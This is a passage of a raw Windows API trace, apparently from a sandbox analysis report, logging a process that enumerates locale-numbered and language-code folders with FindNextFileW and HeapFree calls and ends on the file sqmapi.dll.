	[0073.831] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0073.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.831] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0073.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.832] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0073.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.833] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0073.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.834] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0073.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.834] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0073.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.834] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0073.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.835] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0073.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.835] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0073.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.836] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0073.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.836] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0073.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.837] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0073.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.837] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0073.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.837] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0073.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.838] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0073.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.838] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0073.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.838] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0073.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0073.850] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0074.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.136] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0074.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.136] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.137] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.137] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.137] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.137] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.137] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0074.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.138] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0074.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.138] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0074.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.138] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0074.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.138] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0074.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.138] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0074.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.139] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0074.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.139] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0074.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.139] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0074.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.139] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0074.139] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0074.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.141] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0074.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.144] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0074.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.146] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0074.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.148] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0074.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.150] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0074.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
